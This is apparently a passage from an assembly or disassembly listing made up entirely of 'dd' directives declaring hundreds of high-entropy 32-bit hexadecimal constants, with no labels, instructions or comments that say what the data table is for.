		dd 855846AAh, 37F80541h, 6BCEBAFAh, 9945A66Dh, 0D8CE5744h
		dd 56250D71h, 19DB7FC9h, 2DC672A5h, 0DB6214FEh,	7BFABACDh
		dd 0A3CE49D5h, 97EC760h, 0D7CC5616h, 3494B18Eh,	9C23DD47h
		dd 939F9542h, 93CDA26h,	84860D35h, 86316838h, 0B255B7C8h
		dd 58D9867Ch, 516E4556h, 0EA9718A4h, 52D66207h,	0DC9CC680h
		dd 0A33CC30Eh, 6210FE04h, 16134D92h, 289AF6BEh,	9C100A4h
		dd 88E52B8Ch, 602FDD45h, 0B78B4F7Dh, 6A1426F3h,	8734BA6Eh
		dd 971D7D5Eh, 0E4BCCD6Ch, 4CE2BE46h, 31641BB9h,	37133EBEh
		dd 0F309F74Eh, 6C61467Ch, 407FB03Bh, 54B46D8Ch,	957885B4h
		dd 9F6AEC2Ch, 0D00E036Dh, 24AC1DC9h, 6452FAFh, 0C8AEC5E1h
		dd 0DBEBC156h, 174805DEh, 6ABF2E3Fh, 85065B70h,	65DE5008h
		dd 0EF1488AFh, 0C8E7D72Ah, 0B65F5566h, 0D1D9E2FDh, 0D4E1CB19h
		dd 0A976EF1h, 0AA820A55h, 32C0A314h, 0F5254992h, 24AEB6C1h
		dd 29BD7A2Dh, 8E4C9BAAh, 25A1AB30h, 0BCAA8726h,	0BE374F10h
		dd 10F9A554h, 2A59047Ah, 0E516D15Dh, 0A984A9D0h, 0B711978Ah
		dd 2AD2DCA6h, 85FA684Fh, 719D9C1Ah, 32FA9855h, 0F4941F85h
		dd 2B545AD5h, 0BF73D4Ch, 0FD40F82Ah, 0C04CA2A7h, 0B8E666D9h
		dd 0CC4A18AAh, 6FE718FDh, 519E42C8h, 5B5E5B70h,	78914858h
		dd 9E6AE5C7h, 4130095Fh, 4157B1D5h, 4BD67B23h, 0DB66584h
		dd 0FC3F7454h, 0ED6771BAh, 0AE2ADAC9h, 0B8A77B9Ch, 1900077Fh
		dd 0CDC7B2E4h, 3F8A0766h, 1AAF2E2Ch, 56A237C9h,	0F1BF6A2Eh
		dd 0B647F563h, 0F76B3F5Eh, 2883BF72h, 0B0E0C3B3h, 6C0FED6Ah
		dd 0B303B8B0h, 40CDBE60h, 0BF72ACCBh, 0D0C02F46h, 6E5423CEh
		dd 6639C8CCh, 0C7F01A3Dh, 65A7427Ch, 0A371ABC8h, 4590492Bh
		dd 0C69620E8h, 0A7951952h, 0A59F4317h, 5C4187E9h, 3F3D3772h
		dd 0FD224E21h, 85B3F248h, 0C72E250h, 0D79C5203h, 22E7122Dh
		dd 0F24E4D28h, 6D2013F8h, 24847970h, 0AEFCE425h, 0F09B5E47h
		dd 0E235A9E3h, 2CAA1EE7h, 0F5A32911h, 0D677EDC7h, 0D28B346Dh
		dd 436705D2h, 0A87BEFD1h, 0CEA67E91h, 9C0396E7h, 79882989h
		dd 5081794Eh, 69AE4B51h, 0A2CCF1E7h, 0CCD4D949h, 9BF8262Dh
		dd 36C15225h, 0A068A6BFh, 0A631079Bh, 0F7E453F5h, 705656C0h
		dd 0B1C39B58h, 7F290CFFh, 0B2D0B53Bh, 51AB2641h, 5D130DC8h
		dd 3F6B5966h, 93B57C19h, 53590F49h, 92A1C377h, 4527CD5h
		dd 0E06E29ECh, 52A7184Eh, 0E289EFF2h, 8EFBB865h, 4BBE0F54h
		dd 80EE51EFh, 0C08467CCh, 0BF0F1F97h, 0DA2EC535h, 20010D22h
		dd 5DD20CD0h, 0E4D52790h, 923E1FC7h, 0A3D8603Fh, 2DECCB9Ah
		dd 0C9FD4F13h, 0F67DBB02h, 0ECDCA90h, 9BB6908Dh, 63B64D72h
		dd 9E35E1Eh, 7D317BAFh,	29545422h, 7250E38Fh, 90F8A6C9h
		dd 0A8F38C2Ch, 0A1E025E1h, 6BB55632h, 448AB5B4h, 0BB1A78E2h
		dd 0BAE7A182h, 4B18ECCBh, 309567E7h, 132A013Fh,	0BA2B09C1h
		dd 202B532Ch, 19263856h, 513410BEh, 6551FABh, 677A7491h
		dd 24D48668h, 87242DB5h, 0B57B9F27h, 0DF72903Ch, 2020D0C6h
		dd 8D14FEA2h, 0B080DDC8h, 6DDE958h, 191B4C9Fh, 0C8F0C2D8h
		dd 9A29249Bh, 0FD6167D3h, 0B3CE5EADh, 0B4043F16h, 0C273CAF2h
		dd 0E9E811E7h, 3546857h, 0F5F05622h, 0ABBB9BA6h, 96F03240h
		dd 8DF8891Eh, 47E0478Fh, 9D31280h, 1A129DE1h, 0C7F5543Fh
		dd 0B06274EDh, 79F93401h, 941344AFh, 0A83BF18Eh, 0B63C0898h
		dd 0C9006713h, 494BE344h
		dd 0BCAF73FEh, 271030BFh, 46BBE9CFh, 0F17C122Ch, 0E7AE2036h
		dd 2EBB324Fh, 61CEE2BCh, 39E6FCADh, 0F5AA0CEAh,	5A6A99E4h
		dd 7DD5779Ah, 0D093F756h, 529C689Ch, 0B589908Ch, 2A1F4923h
		dd 0A77CCE77h, 0CC1A7300h, 4D6559ACh, 87EC7BE6h, 0B621D0BCh
		dd 0CF9AAE95h, 0C8B0E351h, 0E105513Ah, 8E0FD1BFh, 6DF36E57h
		dd 3AB99B55h, 0A036511Fh, 4F513D45h, 39A4FF9Dh,	39B56201h
		dd 42A3804Dh, 8D49DA49h, 17255C20h, 743AA9E8h, 0D509377Eh
		dd 6052025Fh, 0B6BE7B7Bh, 9FAC25B5h, 0F299AE1Bh, 730B3585h
		dd 754C02C0h, 6CF303F3h, 0A30B619Ah, 850DA788h,	0D3FBAF0Dh
		dd 905DE905h, 0D5924D44h, 0C7F189Fh, 0DBD578BDh, 9BC09C27h
		dd 0CBB452Eh, 548CDEAh,	4CE71187h, 92B26ADBh, 69037A4Bh
		dd 0EED796BDh, 4CFDA334h, 0FF53759Dh, 1EBC50C1h, 4EB1C2B1h
		dd 91050630h, 2B3715E4h, 41A64BA4h, 74D2AB33h, 0F9524CB8h
		dd 0C60F1036h, 0FC574BA9h, 348A892h, 0CC507513h, 9EB83ADDh
		dd 0ADC8C826h, 0D6DA241Eh, 0FB23B65Fh, 0FFD2EE13h, 46687E04h
		dd 959BCCF5h, 6D252A26h, 4BF7595Fh, 0E39C1E92h,	157B1490h
		dd 177DA0BAh, 28BC439h,	0CD0FDEA2h, 0C0E83025h,	6CD9A185h
		dd 88E5B0A1h, 0E53F3BB7h, 0E1294802h, 77358B41h, 9025670Bh
		dd 7AF1A74Ch, 0D6923D96h, 747BEB5Dh, 17EC02ACh,	146DB674h
		dd 203E67E4h, 0BF7DB529h, 4CA63E32h, 83B41B8Fh,	0B2D9F2E0h
		dd 0AC59A137h, 65633AE1h, 8A7B5EE4h, 3974FF73h,	505BE69h
		dd 3D6BE979h, 0B6D4F807h, 8639DCB0h, 9048D613h,	6FA91E0h
		dd 0A40B96F6h, 0B186EF4Dh, 36FC9DC6h, 9BE45EEAh, 0F1B57E9Fh
		dd 2C98F28Bh, 17F1D817h, 138D49A0h, 408B6CB7h, 65921914h
		dd 0D0E80826h, 4F553C1Ch, 0BA8FD25h, 6E039D06h,	4ECBCC60h
		dd 0B47BCEB5h, 3F07F1E2h, 1285A1A8h, 83C58DD0h,	6996508Ah
		dd 6F7E5D21h, 68E25FE0h, 0B7B5235Fh, 65566C51h,	828212EDh
		dd 5D592267h, 6B26A388h, 2E68597h, 7185FA9Eh, 0B1DE50DCh
		dd 218A71A9h, 0B6E0AF95h, 38FB257Ah, 6758ECE4h,	9DDDD0B3h
		dd 0C73B53E5h, 0B914FC2Eh, 869C2889h, 32525B1Fh, 0C81514D3h
		dd 0BB854B94h, 0AF6C2E83h, 347C9F17h, 0A4294172h, 994964F1h
		dd 0DFAAF597h, 2370A771h, 4AB23B73h, 1C5D0C5Fh,	88814042h
		dd 2F5FC7CCh, 6232B548h, 9AB11AD7h, 9E2AA5ADh, 9B43F8E0h
		dd 9A547545h, 2EAF22C6h, 0BEBDCDBDh, 0E4EBC9CEh, 0FA34146Ah
		dd 0E5AC0EC9h, 0EA22C8h, 0D846857Bh, 0D38BF4BEh, 0B411A378h
		dd 0BC39EF14h, 703C6E59h, 881C700Bh, 0A055E611h, 5B88AD9Ch
		dd 2560EF00h, 2841C56Dh, 0EFB23574h, 0FAF3350h,	0ED113F82h
		dd 38B8DA72h, 3967855Fh, 23640865h, 0C257352Eh,	0BDF7DFCBh
		dd 0FDA6AFF2h, 597D19F3h, 0F2008862h, 0D2036FDFh, 6DDBE623h
		dd 0E7B033AAh, 510E79BCh, 0C06ECB8h, 3D4007A5h,	46B7DA05h
		dd 4EA6982Ch, 672269FDh, 7F8617C6h, 2EB491B0h, 6EE6D57Bh
		dd 94685500h, 0A9023EADh, 0AB464E3Fh, 0F9944073h, 6CD414E5h
		dd 38256867h, 5E3F6Eh, 86B50966h, 79C09189h, 2B419385h
		dd 0E767C12h, 815BF2B8h, 85E9C712h, 2CFC8308h, 3B7BC89h
		dd 0E5ACA4D8h, 5D13E5D6h, 0D981DAA0h, 69D7F5B1h, 9D283CADh
		dd 7B77F1D2h, 0BC24CC3Dh, 3B8B278Bh, 86272896h,	0FAE24427h
		dd 52A30047h, 98532EFAh, 25E32666h, 0E1506A6Ch,	0F85167C1h
		dd 6D5A8A7Ah, 62E5A372h, 1783D422h, 0A4D4FB32h,	1EA0839Eh
		dd 766F216Eh, 2A1F121Ah, 0E3B1351Eh, 150CC60Eh,	0BA4A0AEh
		dd 0FF8D986Bh, 0CAA582D9h, 0B3184039h, 6BAB94Ah, 184C39E3h
		dd 0DF7A3747h, 937FD07h, 0E614917Eh, 43361BF7h,	7372079h
		dd 0FB48855Ch, 0A5A5A6E9h, 0D99603CCh, 1FCF5589h, 67495997h
		dd 77AC69C6h, 22A68EE2h, 0A9910B04h, 7940697Dh,	5219E958h
		dd 7AA11CA1h, 138AFBA8h, 0DE137D5Ah, 4F5F647h, 17908BBBh
		dd 6C3CB398h, 4450984Fh, 0B2356453h, 6B34E78Ah,	57CC5A9Ah
		dd 0F78A9D4Ch, 27FBB844h, 2BD372D1h, 0FF9D2EFAh, 0FBA40DDEh
		dd 9261725Bh, 0F1B735FCh, 4D9D9EEEh, 33B98A74h,	0E5B3D9F0h
		dd 6ABF626Dh, 0C9E69FEAh, 6961C641h, 9EBB74ABh,	1347A51Ah
		dd 0F2D2CF50h, 1036EB52h, 0B97C66BAh, 0F0D1AA59h, 37356598h
		dd 0DE63AB8Bh, 316543FEh, 868F7A2Dh, 9220AF98h,	91F82F35h
		dd 95712609h, 0A4029EEh, 7EF8F7F6h, 0E6FEBB0Fh,	16104A3Dh
		dd 497F662Ch, 0A122458Fh, 8C6B16D5h, 498686EAh,	41D62045h
		dd 4861FD3h, 8F467CC0h,	0D7FE9DC5h, 2237232Ch, 78A1C241h
		dd 9DF0C20Dh, 9CB01620h, 613EF7D0h, 2B0264Ah, 0FE06E852h
		dd 0F7AD0B2h, 0B40C4C91h, 7AB593FFh, 0F6F9AA6Ah, 46064E55h
		dd 0BC16B39Dh, 6F65C36h, 86A1427Bh, 293BA10Bh, 75033CDEh
		dd 0EC1EB844h, 650C1F75h, 9A5E9EB3h, 34402744h,	22FEDA44h
		dd 30CA61E1h, 0C9549F42h, 57181C00h, 4561BE08h,	343672AEh
		dd 4FFCBFDEh, 0A7E24F82h, 0D4FDDBA0h, 80AADC36h, 86438511h
		dd 94F99012h, 7CDB6E0Eh, 2A46E133h, 0DA49589Eh,	0B1278DC2h
		dd 0DD060A54h, 10298605h, 0D4817B17h, 5D4C072Ah, 7883D2A0h
		dd 74EB987Fh, 67CA1A2h,	0A85762DBh, 96C82985h, 874F1E7Bh
		dd 0F23E9AC5h, 0D683DFC2h, 0DF031DCEh, 949EE8FFh, 0D48307FBh
		dd 5798AB49h, 4370594Eh, 448F5890h, 2D3864DCh, 63EA3F1h
		dd 0A933C6EAh, 2409CC9Ah, 663711A2h, 0E5051495h, 0B2A93FBEh
		dd 1826396Bh, 0B28DE79Bh, 0A4E06454h, 60785CE7h, 0D7C1A74h
		dd 0F35261D1h, 0FD6F815Fh, 0E318873Ch, 6247C22Bh, 24B07ACEh
		dd 0A25C7C0h, 0CF8C7F10h, 0D6301E57h, 15241ADEh, 0E76FB349h
		dd 839AA799h, 70A88174h, 308D9A8h, 458D0CDFh, 0B5E99BCCh
		dd 0A36AC60Ch, 0FE50749Ah, 0F6991219h, 0B41609CEh, 589984ADh
		dd 8B107198h, 0DBD002DEh, 980FB7DCh, 0D9F7EA03h, 0DD7D57Dh
		dd 1125C582h, 0DE945BE1h, 0F4FC09B6h, 8ADA3998h, 559940ACh
		dd 0A3C1AB15h, 3F4D8B6Fh, 8B1E7D14h, 53E3F98Ch,	6E879ED7h
		dd 0F0168CACh, 5149D39Dh, 0D2CDDCECh, 75DEE408h, 0C81CDD0Ch
		dd 2AA0D5E6h, 0F48917C3h, 3A4A54Fh, 2003828Bh, 0ECD30F3Bh
		dd 84D27E2h, 8850ECCFh,	6BFD08BFh, 0D5A1BF88h, 4737E43Eh
		dd 0DD1264E9h, 94302A4h, 6A431625h, 31F3581Bh, 0B4EE3E1Ah
		dd 0C889244Fh, 7EB7A4FBh, 5B184FEh, 48C43290h, 0D32CD00Bh
		dd 93C64D24h, 8F2373F5h, 706B582Fh, 4769E8Fh, 923F631Ch
		dd 9828E6A2h, 0B31200C6h, 0AE914203h, 0BDA06B57h, 14A79C5Bh
		dd 0BC9CFF67h, 0B0B8DAE6h, 12A20814h, 0E4B9FB3Fh, 6871CB58h
		dd 0CC582088h, 0C8B815FDh, 5DA1FD43h, 0C0130DC6h, 2FDF741Eh
		dd 19E3F202h, 1368A93h,	82FB0179h, 0D5A2BF89h, 0D2CF8F60h
		dd 0FDB36591h, 9B1EC35h, 8998AA13h, 688C23ACh, 0E250007Ah
		dd 56621D2Ch, 0E116919Ch, 3A5F9275h, 2A320447h,	3B46D996h
		dd 0E31FA7E7h, 6948489Fh, 6F1402h, 935C34CBh, 2D2E307Dh
		dd 0AE4D098Eh, 2494F389h, 1A114FE1h, 8CE56A9Eh,	13975157h
		dd 48D3B54Ah, 3436696Eh, 0EAEC3DBBh, 24EA88ECh,	620130Ah
		dd 0B036F412h, 0CA14BDEEh, 0B59DEC4Fh, 37E9C523h, 9E03E61Dh
		dd 7D860C76h, 11C0B62Fh, 0CBD7D430h, 5CDD9385h,	0C275D7DEh
		dd 8B330BABh, 99C54A24h, 0C3D42550h, 332759E0h,	2F4AC566h
		dd 3FEF94ACh, 9E88DD67h, 1899DC79h, 2642F6C7h, 0D9B4F4B7h
		dd 14E3663Bh, 0EA21ADC6h
		dd 0C639C539h, 0A602EB5Ch, 7CF3B177h, 103C4EC2h, 28870A9Fh
		dd 42BDE363h, 0ED0269FBh, 22455A73h, 0FCD4902Eh, 0EC2D9A27h
		dd 0CF3388FFh, 0B0BDF135h, 60E9381Ch, 6FE350DAh, 0CA22FC7h
		dd 45ECE806h, 0D63D5981h, 0CE67B515h, 0DA714812h, 9B85C895h
		dd 0F05CCFFEh, 77AC933Bh, 1796D916h, 552B80EAh,	1D9EF8FBh
		dd 745F7398h, 0F6FB8142h, 6D3BC02Ah, 0A318D066h, 0D42B7098h
		dd 1B924B36h, 1F586865h, 6ACC9791h, 0EECA62B8h,	8CEC4F07h
		dd 2EC62122h, 0C8ADA535h, 0FBDAFF67h, 6CC2C8C6h, 0E4C6D0D7h
		dd 608E4ED9h, 0AAC540B3h, 0EEC9956Eh, 0F6758A45h, 2BC14DCBh
		dd 2A4D5A81h, 0AF93E1D1h, 929E4502h, 8EAA0942h,	0AB3F3BE9h
		dd 0EA636144h, 0D29E6009h, 6E55CCDDh, 9320F1A6h, 956CCF58h
		dd 0C80AD38Dh, 48D1FB1Ah, 0DD19CC59h, 0FB458302h, 9B53C08Ch
		dd 0D115C473h, 0D069074Bh, 5C598BE7h, 0BFE67C78h, 64C17754h
		dd 25148F4Fh, 9D00090h,	22C87676h, 0DB7B7CE7h, 0E5FDFB86h
		dd 409EA702h, 3AF52DFDh, 0F35D3975h, 0D5E3517h,	0EF8437CAh
		dd 0F07F41C2h, 4DB31578h, 69D56542h, 8594667Ch,	0AC4D6CE7h
		dd 0E1DD4302h, 9C2FBC79h, 5DE1FEB2h, 0C4771F7Ch, 4642025h
		dd 2B818E78h, 1A8DA811h, 6A550B93h, 0E2953BB7h,	1D48C001h
		dd 6BD8416Fh, 5893CCE5h, 97433DC7h, 91242B4Ah, 48CE0D8h
		dd 1BADB64h, 152E49EEh,	67ECAE65h, 0D92C7772h, 81E0570Eh
		dd 0CF592BC6h, 9F2DF1B7h, 0A377E16Bh, 0C2FDFB3h, 0ABCBF08Ah
		dd 5A3F6272h, 6019321Dh, 40EFC935h, 0BF0CF5C0h,	0FC861DA4h
		dd 0E4E1E8h, 25625A22h,	0FB562623h, 94470812h, 0AB916CF6h
		dd 9C9DDA9Bh, 0A392AA1Bh, 5E0DD421h, 21C3FB92h,	8DF0525Ah
		dd 0C34382EDh, 0AACBD23Eh, 1DFD305Ah, 20F7A5E4h, 111620F5h
		dd 0EE4D225Dh, 2596CD1Eh, 0C3685E5Eh, 0C00AC49Eh, 0D1AEA2B8h
		dd 0CBC0AACCh, 796D98D7h, 0D0C78D05h, 7C5DA850h, 14379439h
		dd 0F1BEAE98h, 66115AB9h, 0C7B908BDh, 1A451EDBh, 76D45AA0h
		dd 0C106DE11h, 0CFE8C5B3h, 5707B14Fh, 9946FA69h, 0C1F84E85h
		dd 4BD5C01Ah, 8A736995h, 8F1DAh, 4E5ADE17h, 1E366DC7h
		dd 8FD126A0h, 89006CE9h, 722EE019h, 0E2BE176Eh,	2D557B0Bh
		dd 2F28BE18h, 7609257Bh, 546E7B7Bh, 6941D3Fh, 63ECAD2Eh
		dd 8DC2CB3Ch, 55792AECh, 0BAA9F1A5h, 247B6339h,	7AE32851h
		dd 4616B71Eh, 7EF641ADh, 10067A54h, 0E84CA21Bh,	54948C3Ah
		dd 90E7A923h, 3352A9DEh, 0C921ED95h, 0CEFC658Bh, 5A027DBh
		dd 0D3E02A62h, 0F5B47DD5h, 0D381F08Bh, 67B6C535h, 9916CCE0h
		dd 9782AA1Bh, 0CF5E72CEh, 0A4093D08h, 97A31B8Bh, 0A1D01C09h
		dd 0FDCDD78Bh, 0C34639Eh, 8A60F1C8h, 0C9CBD0D7h, 0D1E8A906h
		dd 0B952B7AAh, 0F7434A0Dh, 2CCD7996h, 8A6DBB40h, 39B6B56Bh
		dd 813CA301h, 46277D6h,	5FFEBAD3h, 0EA47F80Bh, 0E75775h
		dd 0EA465560h, 0AFB941FAh, 644EEC9Fh, 0F7D0194h, 0D2437A76h
		dd 681C5DABh, 0F729FE49h, 0F310BE6h, 52ED38E5h,	3C5E1C6Dh
		dd 327FD223h, 0CF6B8BFBh, 3FC929F0h, 55A6F62Dh,	0D2DE5240h
		dd 0D7E40D87h, 0F312D621h, 0E2A49A86h, 3660B901h, 0FF6F5B9Eh
		dd 59F03A39h, 310A7CEEh, 325ED30Eh, 4B238412h, 0F028949Dh
		dd 516178C4h, 0A1B5B082h, 852F2A87h, 0B0A3C2B7h, 5EFD475Ch
		dd 0B28B0FC3h, 614220AAh, 0F931E7B9h, 0E8B2E59Eh, 0F7615629h
		dd 0F8C632EBh, 3ECAEC53h, 0CC0D6441h, 58261607h, 0C87B7D28h
		dd 553125C1h, 65D5CD63h, 94D56611h, 0FC9A532Ch,	7A136979h
		dd 0F999A9F9h, 9C85D972h, 5F158F2Eh, 0A93A7FFFh, 0AB1D288Ah
		dd 6AF203FCh, 3C5C6459h, 60CDCFE2h, 5753F11Ch, 21D1E1C1h
		dd 0FB9C9655h, 924D33C0h, 0C96BCE07h, 0E6EAE62Ch, 7641691Eh
		dd 0AB0786C3h, 9E18BB1Ah, 0FF6226CBh, 6E431074h, 0FC3D885Ch
		dd 0C4D729C8h, 0A6B39577h, 9750B2EDh, 0F474440Fh, 0AD130C43h
		dd 0DF18967Ch, 66595BB2h, 6DB72074h, 448ED2E2h,	2A5D1FCBh
		dd 0E8386FE5h, 0D10BFAACh, 0D0BEE1F4h, 5640811Ah, 365CEECFh
		dd 1D690B85h, 0F70CEACDh, 2A05CCFCh, 0A00ECC57h, 1714657Fh
		dd 3B430735h, 168D39C4h, 270D3A90h, 61C76E2h, 934A1D83h
		dd 0B1F0589h, 0F3E3959Ch, 0DCF025B7h, 2D196FBEh, 0E1422644h
		dd 61681BDDh, 54BBCB64h, 0B0781402h, 0F820AC69h, 0EC4D3239h
		dd 0A178F036h, 0F416E02Ah, 894E88BEh, 12349D12h, 40752F76h
		dd 96DD91EBh, 0EF91FBC4h, 0A8ACB31Dh, 51A8EEBDh, 666A77A0h
		dd 0ADB7F9EBh, 66E0F68Eh, 6CD682CAh, 2F7C1257h,	56FEEA1Ah
		dd 0DDFB3DA1h, 0E93A4C03h, 257FEB97h, 9C34351Eh, 5B19650h
		dd 0BC043969h, 53759358h, 0D4E21D28h, 0FA41CA25h, 47FB6331h
		dd 0F7E69E8Ch, 9B3AE225h, 45664D2h, 0A7500824h,	0FBE0C7DCh
		dd 0D7CBDDC1h, 0F5E26A6Fh, 0B5AE4DC1h, 0A9BC71E2h, 0BCE3E7FFh
		dd 29978F07h, 0A4270E29h, 0BE4804C7h, 97ED78EBh, 0E763074Bh
		dd 7476EABFh, 2F8CE0CAh, 7F6B938h, 2281C1BBh, 0C18EA195h
		dd 3AC79BA5h, 846B3F0h,	5858A0BAh, 462D971Fh, 90CCC90Ch
		dd 0AABEE0Dh, 2E427F6Ah, 8F52F5B2h, 38E19EEEh, 0FD4FACE4h
		dd 0DBF1BF17h, 4ACF5E3h, 37AC22BDh, 0A6DF7174h,	17B6386Eh
		dd 77D03D69h, 52995DA3h, 2FCCE167h, 3133963h, 4FDD897h
		dd 0E47052ECh, 12055C90h, 50FCCD6Dh, 740BDD36h,	0DD81AE37h
		dd 0E76A6F5Bh, 829DD750h, 1029BC44h, 3330783Fh,	6BD4BE84h
		dd 0C82E0053h, 0F5FAFD6Dh, 0C84C309Eh, 0E2FBABD6h, 0FF6BFAB8h
		dd 4739FC15h, 47A83C0Dh, 0B518246Eh, 0E4E1B56Ch, 43304F3Fh
		dd 0C1E82F45h, 0EEE8A96Bh, 58C2EFE2h, 59BB9517h, 68B6FD4Eh
		dd 0FFF618CAh, 2C29E990h, 52864DBCh, 0EBAFE09Dh, 4FFAFBF8h
		dd 19D2B65Eh, 0DBCB9820h, 0A4909651h, 55A2CD17h, 0B6E97D60h
		dd 329B3B9Bh, 78B7128Ch, 59F21873h, 280D5A3h, 0E7A8E7EAh
		dd 0A708EB2Eh, 7A2ECD73h, 44CCA2B5h, 4A365AA5h,	0E78BF73Eh
		dd 1E253F6Ch, 28E5FA7Ah, 8F89DD3Bh, 0A6819B40h,	0A18B0513h
		dd 3D473DCEh, 0C96F5E21h, 362CD547h, 0D7E1BD95h, 70C7E663h
		dd 0DCBA4FF6h, 3A446D9Dh, 1BEDC661h, 0F8B9B563h, 2BD6DDFEh
		dd 0D7672E9Fh, 0B0CB52A2h, 783115EFh, 313E902Ch, 3240E3B6h
		dd 0EF0A62CCh, 62E4B22Bh, 2FF5836Fh, 8FF6DCFCh,	0F84B2F3Dh
		dd 3CF388D6h, 480B050Ah, 0B7127743h, 895E7CABh,	0CA4F4EA8h
		dd 4549B79Bh, 1D29240Fh, 64F9C36Dh, 9021E089h, 4B5B195Dh
		dd 6636A881h, 0DF64E434h, 6271C4ABh, 32AA8B87h,	461A9566h
		dd 8C555BBAh, 0DE587241h, 0F8479E3Ah, 0B3AD7021h, 287ACF6Ch
		dd 0D6929784h, 0B3D95F6Eh, 5A4FBEC6h, 71E30D76h, 438F848h
		dd 9F07E37Dh, 2DE433D9h, 6F79E5E2h, 0B5E09878h,	7B204559h
		dd 0F6771773h, 0CB6B5B34h, 24F66125h, 0E960811h, 0E3331049h
		dd 0BB2801DFh, 879B1080h, 0FC639B74h, 3507D837h, 49F342C6h
		dd 5BEA1C5Ch, 0F67F2771h, 9057CF3Fh, 0CCD8CD95h, 9106D13Bh
		dd 44F2FC30h, 8DE16DB8h, 6791B234h, 951F86BEh, 6D1BDDDBh
		dd 0CD8B2169h, 0CFB1F12Dh, 0EFEF8489h, 6C9C62A4h, 0A1E9143Dh
		dd 24E56736h, 0FFCE8EFFh, 7A639915h, 729E0974h,	74CE0CABh
		dd 37EF34FDh, 56CD9F32h, 1D8B9295h, 0F4F3C373h,	0E10593FEh
		dd 7F7B4EBCh, 799099F7h, 5247DA99h, 0B52BE3F9h,	0D7FF2911h
		dd 0B13BF433h, 592B36F2h, 81B140AEh, 74199AC3h,	0E569D99h
		dd 7CAAF7A0h, 674D34C7h
		dd 0C714B5D8h, 61D66FA1h, 0D0F29019h, 8B15CBA7h, 0DE7FA296h
		dd 33A06030h, 1CB2927Bh, 2CE47541h, 810E675Dh, 0A3B3E0C2h
		dd 1B3D7C1h, 5F0EB80Ah,	0FF2788CCh, 723567A5h, 65E94D86h
		dd 641906DBh, 0CC4DA6A6h, 0AB34D919h, 0A5BD82DEh, 0E7AEF6AAh
		dd 0C4303047h, 151EE54Eh, 0CDF0AC99h, 1527846Dh, 1F0DE1AEh
		dd 0EFCFBCFBh, 85A1B0DCh, 998062C6h, 7105BC1h, 0EDE55BFFh
		dd 5A9D158h, 3D938F49h,	0E03B2A16h, 0CF922C90h,	0DFFC094Ch
		dd 3CEA962Dh, 757D9856h, 0FD8FB847h, 0C52F399Fh, 7E6EAF78h
		dd 49B2F2F0h, 28E170B9h, 4D177A74h, 0E4A4D497h,	5E9DE0CAh
		dd 725BD28Ch, 0D9D7A5A7h, 54C463B7h, 4F8A24C8h,	8A9E11Eh
		dd 0E05A3C65h, 0B673DE58h, 5DFE9B3Fh, 2045CE4Ah, 7F17322Ah
		dd 6A8C04C6h, 3FBFE647h, 61D5DA6Ah, 811559B6h, 2475D7A8h
		dd 0B0AB799Eh, 7D50FBD9h, 28C58297h, 6162E111h,	0BC86C396h
		dd 0FAD3975Eh, 0F38FF3E7h, 0C5DE8545h, 0B0C1581Ah, 2006735h
		dd 79720CDDh, 72058132h, 0B2DCE040h, 3C7027D0h,	9701D290h
		dd 0EDCE910Dh, 83DE022Dh, 8F4FA02Bh, 8CAC08FDh,	1DC0A9C6h
		dd 0BD95FBD0h, 58ABA0B0h, 101B24B3h, 8D253B64h,	986633E9h
		dd 9AA7D1EEh, 81ADD552h, 93A7A336h, 0ED70AC17h,	0F1443B94h
		dd 0C9272488h, 47BA39Eh, 64D0E7E7h, 55E75306h, 2683C380h
		dd 0F08EEF3Eh, 2E5BE519h, 61D31998h, 91584623h,	24E0AD35h
		dd 6BE32DD8h, 8DB1C051h, 84A74C87h, 3B8EB82Bh, 354ACE0Fh
		dd 0BD293867h, 816130EAh, 8EFDCA67h, 0DC510Dh, 0B527F3F8h
		dd 33A53108h, 0EEB2535Ah, 0FC075027h, 5F8A3DBEh, 0C130C97Fh
		dd 6764331Bh, 1F60C0B1h, 0DC62ABC8h, 6CC3144Fh,	18252A5Dh
		dd 0FAE5BB86h, 0C133299Bh, 0B1AE53E9h, 7A21E624h, 1FA4A398h
		dd 14AC0CEEh, 577F809Fh, 73DB8A1Bh, 0B7A97A2h, 65C8A815h
		dd 4FC17998h, 902BA765h, 0C090B442h, 0D49EE5ADh, 158D5EBCh
		dd 0A06753B7h, 752256D4h, 61B2A825h, 0BFDBB4D0h, 3CDB5980h
		dd 0AF276767h, 29C70B82h, 0C3344C1Fh, 7400ABADh, 23FF21D1h
		dd 0E3E76BA1h, 21B41AC5h, 0B13869Ch, 0B49B0FBFh, 83A95485h
		dd 0CAA13CAAh, 8196928h, 6E3410FEh, 0FAADEB2Ah,	3486E2A7h
		dd 72CF177h, 0D14A593h,	0FEDE132Dh, 0CA2CA117h,	0EE3A26CFh
		dd 0E16D777Ch, 0EFFE8EB7h, 4275A019h, 7EADC6BAh, 0C2EA1C2Bh
		dd 8B3D6A69h, 8902CB30h, 9C968B7Dh, 3A6D5CD7h, 6ED220C2h
		dd 0D03F3862h, 0D21001ABh, 0D074AD2Ah, 1E2AAC0Ch, 0AEEA0D20h
		dd 120815Ch, 0E88E8E51h, 1149D728h, 44532A92h, 22D2E81Fh
		dd 298736D1h, 0B0700D0Bh, 0E49E73EBh, 7AC4D2B0h, 0BD7C6093h
		dd 89100F13h, 0BA7D4055h, 16A92E28h, 22646BB1h,	4E0ECD9Ah
		dd 963DBABh, 72625BA1h,	0A2041120h, 0BB306CC9h,	0A73DAE92h
		dd 3FDD9D61h, 0D4551818h, 99A8FA2Ah, 76AC9DBCh,	0E93F628Eh
		dd 0E5414B8h, 5624CDC5h, 58F63121h, 83096135h, 0CD15C144h
		dd 2183174Fh, 0C7A275CEh, 7EA285B6h, 6DD9DF08h,	8DA8F445h
		dd 85DAC4D8h, 4D73C50Ch, 0E73361Ch, 0BE5852C9h,	84F875E8h
		dd 0A6B7A367h, 736EAD85h, 3402F83Fh, 0F943C8C2h, 0FF519FDh
		dd 0BCF2C7BAh, 2930C040h, 0DFD7DEFh, 4B6098CCh,	282D1B42h
		dd 502F934Ah, 9177FE06h, 31BDAB5Fh, 0B6799410h,	0BFF31CEDh
		dd 717C086h, 10A3DD90h,	6AC52150h, 3CBA6E20h, 0E1EAF9FBh
		dd 5B8A5B9Eh, 0AD3F1C69h, 9AF58059h, 3AA2A60Ah,	331B34FEh
		dd 6E4F16F4h, 0B711DC52h, 129EF836h, 89C1CA40h,	8D5CCD6Dh
		dd 625943C7h, 79A59819h, 0BBA10AFh, 4E5A4AF0h, 0D8BE2C7Ch
		dd 0ECA602D6h, 0A7878316h, 1ED2A74Ch, 20CD73B0h, 2621129Ah
